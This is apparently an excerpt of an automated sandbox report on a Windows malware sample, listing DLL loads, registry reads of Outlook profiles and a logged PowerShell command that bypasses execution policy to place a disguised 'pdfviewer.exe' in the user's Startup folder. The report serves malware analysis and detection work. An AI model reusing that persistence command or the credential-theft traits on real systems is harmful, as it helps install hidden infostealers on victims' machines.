Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe"	Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: 962Zrwh5bU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 962Zrwh5bU.exe

Static file information: File size 1050624 > 1048576

Source: 962Zrwh5bU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.4.dr
